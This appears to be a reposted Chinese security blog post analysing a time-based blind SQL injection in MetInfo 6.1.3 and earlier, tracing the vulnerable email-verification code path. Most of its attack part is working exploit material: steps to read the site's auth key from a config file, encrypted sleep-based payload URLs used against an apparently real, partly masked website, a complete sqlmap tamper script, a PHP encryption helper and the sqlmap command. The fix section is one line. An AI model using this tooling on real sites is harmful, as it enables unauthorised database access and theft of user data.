内容简介:metinfo<=6.1.3前台SQL注入需要会员权限对服务器版本有限制【PHP-TS】
metinfo<=6.1.3前台 SQL 注入
需要会员权限
对服务器版本有限制【PHP-TS】
0x01 前言
看到 某info <= 6.1.3前台getshell 后决定发出来 (里面没说前台注入啊【手动狗头】)
0x02 代码分析
定位到 /member/basic.php
文件,代码如下:
看到这种样式的,我们就联想到了 MVC
框架,类似 Tp
、 CI
、 YII
,不过这是metinfo内置的框架,框架目录主要位于 /app/system
中,每个文件夹都是一个家目录,我们主要定位到 /app/system/user/web/profile.class.php
中的 dosafety_emailadd
方法:
148 Line 使用global关键字引入全局变量$_M 149 Line判断外部传入的$_COOKIE or $_POST or $_GET参数p是否为真 150 Line加载了auth类并实例化赋值给$auth 151 Line将$_M['form']['p']传入auth类中的decode方法解密并赋值给$email 152 Line判断$email是否为真 153 Line将$_M['user']['id']、$email传入$this->userclass类中的editor_uesr_email方法
目前我们只需要看这么多就好啦!我们接着来分析这个 auth
类,定位到 /app/system/include/class/auth.class.php
176 Line使用global关键字将全局变量$_M引入到当前方法中 177 Line判断传入的参数$userid是否为假 180 Line将传入的参数$email传入到当前类中的get_user_by_email方法并判断返回值是否为真
进入 get_user_by_email
方法中:
622 Line调用Load类中的静态方法is_plugin_exist判断doemail插件是否存在并将返回值赋予$isplugin 625 Line判断$isplugin是否为真 635 Line判断$emailres为真或者全等于NULL的情况下那么进入判断 636 Line调用当前类中的get_user_by_emailid静态方法
接着进入 get_user_by_emailid
静态方法:
到这个方法之后,它直接将我们传入的 $email
拼接到了SQL语句中,从而产生了SQL注入
0x03 代码调试
在 dosafety_emailadd
方法中输入如下语句并且改变一下语句顺序:
在 get_user_by_emailid
输入如下语句:
接下来访问下url:
http://localhost:8081/member/basic.php?a=dosafety_emailadd
可以看到程序成功将 123
拼接到了SQL语句中,哈哈,万事大吉,但是程序最终返回的仅仅是true or false所以这里我们要用到延时注入,最终Payload如下:
再次访问
http://localhost:8081/member/basic.php?a=dosafety_emailadd
五秒以上才反应过来,程序是不是有点傻哦!正应了我们的延时盲注,接着我们将这段加密输出了之后再整吧!
再次访问
http://localhost:8081/member/basic.php?a=dosafety_emailadd
接着访问:
http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
又是过了很久才出来。。。
0x04 漏洞复现
http://www.d******re.com/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
调试半天发现是key的问题 key在 /config/config_safe.php
,打开文件是这样的:
就在这里我做了一个大胆的假设,直接访问然后审查元素看看被注释的东西是否存在
访问:
view-source:http://localhost:8081/config/config_safe.php
这里是 PHP 版本的问题,在phpstudy中有两种大版本,PHP-nts(非线程安全)、PHP-ts(线程安全)
nts版本的PHP会显示如下内容
而ts版本如下:
这就意味着这个洞只能用于ts版本了 各位师傅如果有什么新发现来讨论一波可好?
接着我们把auth这个类复制出来,我们应用到加密去:
这个类中我们需要修改两处才能正常使用:
8 Line $this->auth_key中的值替换成获取到的key 31 Line $key = md5($key);
Over,我们来看看实际站点能否获取到它的key:
view-source:http://www.d****re.com/config/config_safe.php
把我用红色框框圈起来的放到需要替换key的那里去,接着实力化这个类,加密后再用url编码:
再访问:
http://www.d******e.com/member/basic.php?a=dosafety_emailadd&p=204eUixfyB1n2wh835QWkft%2F58n7Pbp2MgtdHLzL%2FCq55OGuDERix7KJfSE4dGNLKrCziXTr3U4GFyQi9LP1rLinR1JPFZWMASBEMQZ%2Fdrmg9eXwrzNkcmJWHn75LZpH3j6X
至此漏洞利用结束
0x05 漏洞修复
对于这里的修复就比较好了,metinfo函数库已经很成熟了,比如 inject_check
(存在被绕过风险)、 daddslashes
0x06 temper编写
需要注意将SQLMAP传入的payload通过api接口返回加密后的字符串进行处理
#!/usr/bin/env python """ Metinfo V6.1.3 """ from lib.core.enums import PRIORITY from sys import argv import urllib2 __priority__ = PRIORITY.LOWEST api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2" key_name = "/config/config_safe.php" def dependencies(): pass def tamper(payload, **kwargs): global api_url url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","") send_key(url) res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload))) if res["code"] == 200: return res["text"] def send_key(url): global api_url,key_name res = request(url+key_name) if(res["code"] == 200): if(len(res["text"])>0): api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>","")) else: print "[-] URL can not be used. " exit() def request(url): request = urllib2.Request(url) request.add_header('Content-Type', 'application/x-www-form-urlencoded') response = urllib2.urlopen(request) return {"code":response.getcode(),"text":response.read()}
保存为py文件 供sqlmap调用
<?php //作为api,方便调用,over class auth { public $auth_key; public function __construct($key) { $this->auth_key = $key; } public function decode($str, $key = ''){ return $this->authcode($str, 'DECODE', $this->auth_key.$key); } public function encode($str, $key = '', $time = 0){ return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time); } public function creatkey($length = '10'){ $str="A2B3C4zD5yE6xF7wG8vH9uitJsKrLnMmNlPkQjRiShTgUfVeWdXcYbZa"; $result=""; for($i=0;$i<$length;$i++){ $num[$i]=rand(0,25); $result.=$str[$num[$i]]; } return $result; } public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){ $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } }else{ return $keyc.str_replace('=', '', base64_encode($result)); } } } if(length(user())>=10,sleep(5),0);#" if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"])) { $auth = new auth($_REQUEST["key"]); } else { exit("[-] Please input key."); } if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"])) { // var_dump($auth->encode("aaa@aa.com' or username='username' and if(length(user())>=10,sleep(5),0);#")); // var_dump(urldecode($_REQUEST["encodestr"])); exit($auth->encode(urldecode($_REQUEST["encodestr"]))); } else { exit("[-] Please enter encrypted string."); } ?>
保存为php文件 跑起来供上面的temper调用。(注意修改代码中的用户名为自己注册的用户名)
sqlmap:
sqlmap -u "http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=*" --cookie "会员cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"
Over,剩下的自己琢磨。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 74cms v4.2.126-前台四处sql注入
- Etouch2.0 分析代码审计流程 (二) 前台SQL注入
- Metinfo6.0.0-6.1.2前台注入漏洞生命线
- 博客项目前台实现
- 古诗网站前台实现
- 开启前台Service
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。